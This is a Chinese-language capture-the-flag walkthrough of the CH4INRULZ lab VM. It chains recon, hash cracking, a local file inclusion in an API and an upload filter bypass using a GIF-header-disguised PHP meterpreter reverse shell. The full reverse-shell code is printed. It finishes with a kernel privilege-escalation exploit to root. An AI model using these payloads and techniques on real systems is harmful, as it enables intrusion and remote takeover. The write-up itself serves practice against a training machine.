Write-up-CH4INRULZ_v1.0.1

Posted 2021-03-15 kali-team

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关于

下载地址：点我
哔哩哔哩：哔哩哔哩

信息收集

网卡：vboxnet0，192.168.56.1/24，Nmap扫存活主机发现IP为192.168.56.101

?  ~ nmap -sn 192.168.56.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-26 20:28 CST
Nmap scan report for 192.168.56.1
Host is up (0.0017s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00035s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.62 seconds
?  ~ nmap -T4 -A 192.168.56.101
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-26 20:29 CST
Nmap scan report for 192.168.56.101
Host is up (0.000089s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.3.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.56.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
|   2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_  256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp   open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: FRANK's Website | Under development
8011/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.68 seconds
?  ~

开了FTP，SSH，还开了两个Web服务，dirb扫Web目录发现一个HTTP基本认证的目录和一个API调用接口。

http://192.168.56.101/development
有密码暂时进不了
http://192.168.56.101:8011/api/
标题：FRANK's API | Under development
页面的意思大概就是这个API用于Frank的服务器，但还在开发中

继续dirb扫备份文件，找到了基本认证的加密过的密码

?  ~ dirb http://192.168.56.101 -X .bak
找到了
http://192.168.56.101/index.html.bak
?  ~ curl http://192.168.56.101/index.html.bak
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

保存到文件，John破解得密码是frank!!!

?  ~ echo 'frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0' >hash.txt
?  ~ john hash.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-opencl"
Use the "--format=md5crypt-opencl" option to force loading these as that type instead
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSE2 12x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
frank!!!         (frank)
1g 0:00:00:00 DONE 1/3 (2018-10-28 00:17) 9.090g/s 1718p/s 1718c/s 1718C/s Frank[..Fr4nk
Use the "--show" option to display all of the cracked passwords reliably
Session completed
?  ~

用上面的用户密码登录基本认证发现

* Here is my unfinished tools list
- the uploader tool (finished but need security review)
*这是我未完成的工具清单
- 上传工具（已完成但需要安全审查）

继续用dirb加上认证扫目录，发现了有上传，并只能上传图片

 dirb http://192.168.56.101/development/ -u 'frank:frank!!!'
 发现了
 http://192.168.56.101/development/uploader/
 http://192.168.56.101/development/uploader/upload
 
 Sorry, file already exists.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.

绕过上传

msf生产反弹后门，加GIF98文件头，用脚绕了。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.1 LPOST=7788  -o shell.php
?  ~ echo "GIF98" >666.gif
?  ~ cat 666.gif 
GIF98
?  ~ cat shell.php >>666.gif 
?  ~ cat 666.gif 
GIF98
/*<?php /**/ error_reporting(0); $ip = '192.168.56.1'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();%

上传成功，但不知道路径在哪里。要是猜肯定很难找，还不如找其他方法。上面还有一个API接口没有用上。

http://192.168.56.101/development/uploader/upload.php
上传脚本的路径

API除了files_api.php可以访问，其他的都是404，但是也不知道他接受什么参数，先fuzz一波

?  ~ wfuzz -w Kali-Team/fuzzdb/attack/business-logic/CommonMethodNames.txt --hl 6 'http://192.168.56.101:8011/api/files_api.php?FUZZ=/etc/passwd' 
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************

Target: http://192.168.56.101:8011/api/files_api.php?FUZZ=/etc/passwd
Total requests: 77

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000033:  C=500      5 L       19 W      173 Ch    "file"

Total time: 0.127410
Processed Requests: 77
Filtered Requests: 76
Requests/sec.: 604.3439

发现接收的参数为file，但是好像被拦截了。试了POST请求可以。

?  ~ curl "http://192.168.56.101:8011/api/files_api.php" -d "file=/etc/passwd"

<head>
  <title>franks website | simple website browser API</title>
</head>

root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
frank:x:1000:1000:frank,,,:/home/frank:/bin/bash
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/bin/false

接着用文件包含读取upload的源码

?  ~ curl "http://192.168.56.101:8011/api/files_api.php" -d "file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php"

<head>
  <title>franks website | simple website browser API</title>
</head>

PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdGFyZ2V0X2ZpbGUsUEFUSElORk9fRVhURU5TSU9OKSk7Ci8vIENoZWNrIGlmIGltYWdlIGZpbGUgaXMgYSBhY3R1YWwgaW1hZ2Ugb3IgZmFrZSBpbWFnZQppZihpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgewogICAgJGNoZWNrID0gZ2V0aW1hZ2VzaXplKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdKTsKICAgIGlmKCRjaGVjayAhPT0gZmFsc2UpIHsKICAgICAgICBlY2hvICJGaWxlIGlzIGFuIGltYWdlIC0gIiAuICRjaGVja1sibWltZSJdIC4gIi4iOwogICAgICAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIkZpbGUgaXMgbm90IGFuIGltYWdlLiI7CiAgICAgICAgJHVwbG9hZE9rID0gMDsKICAgIH0KfQovLyBDaGVjayBpZiBmaWxlIGFscmVhZHkgZXhpc3RzCmlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X2ZpbGUpKSB7CiAgICBlY2hvICJTb3JyeSwgZmlsZSBhbHJlYWR5IGV4aXN0cy4iOwogICAgJHVwbG9hZE9rID0gMDsKfQovLyBDaGVjayBmaWxlIHNpemUKaWYgKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJzaXplIl0gPiA1MDAwMDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgaXMgdG9vIGxhcmdlLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIEFsbG93IGNlcnRhaW4gZmlsZSBmb3JtYXRzCmlmKCRpbWFnZUZpbGVUeXBlICE9ICJqcGciICYmICRpbWFnZUZpbGVUeXBlICE9ICJwbmciICYmICRpbWFnZUZpbGVUeXBlICE9ICJqcGVnIgomJiAkaW1hZ2VGaWxlVHlwZSAhPSAiZ2lmIiApIHsKICAgIGVjaG8gIlNvcnJ5LCBvbmx5IEpQRywgSlBFRywgUE5HICYgR0lGIGZpbGVzIGFyZSBhbGxvd2VkLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgdG8gMCBieSBhbiBlcnJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgd2FzIG5vdCB1cGxvYWRlZC4iOwovLyBpZiBldmVyeXRoaW5nIGlzIG9rLCB0cnkgdG8gdXBsb2FkIGZpbGUKfSBlbHNlIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiBiYXNlbmFtZSggJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSkuICIgaGFzIGJlZW4gdXBsb2FkZWQgdG8gbXkgdXBsb2FkcyBwYXRoLiI7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHlvdXIgZmlsZS4iOwogICAgfQp9Cj8+Cgo=

base64解码发现上传目录是FRANKuploads，之前的木马图片就在这个文件夹里。

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

GET SHELL

打开msf监听刚刚生成木马的端口，再次使用一次文件包含执行上传的木马。

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > set lhost  192.168.56.1
lhost => 192.168.56.1
msf exploit(multi/handler) > run 

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Sending stage (37775 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:45900) at 2018-10-28 13:15:14 +0800

meterpreter >
?  ~ curl "http://192.168.56.101:8011/api/files_api.php" -d "file=/var/www/development/uploader/FRANKuploads/2333.gif"

提权+GetFlag

试了N个终于找到了一个可以用的exploits/linux_x86-64/local/15023.c

uname -a
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux

meterpreter > upload /home/kali-team/Kali-Team/exploit-database/exploits/linux_x86-64/local/15023.c
[*] uploading  : /home/kali-team/Kali-Team/exploit-database/exploits/linux_x86-64/local/15023.c -> 15023.c
[*] Uploaded -1.00 B of 5.17 KiB (-0.02%): /home/kali-team/Kali-Team/exploit-database/exploits/linux_x86-64/local/15023.c -> 15023.c
[*] uploaded   : /home/kali-team/Kali-Team/exploit-database/exploits/linux_x86-64/local/15023.c -> 15023.c
meterpreter > ls
Listing: /tmp
=============

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  5297   fil   2018-10-27 09:35:19 +0800  15023.c
100644/rw-r--r--  25298  fil   2018-10-27 09:30:57 +0800  15024.c
100644/rw-r--r--  8835   fil   2018-10-27 09:27:09 +0800  15150.c
100644/rw-r--r--  9487   fil   2018-10-27 09:24:34 +0800  15704.c

meterpreter > shell 
Process 1287 created.
Channel 8 created.
gcc 15023.c
ls
15023.c
15024.c
15150.c
15704.c
a.out
./a.out
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt
cat root.txt
8f420533b79076cc99e9f95a1a4e5568

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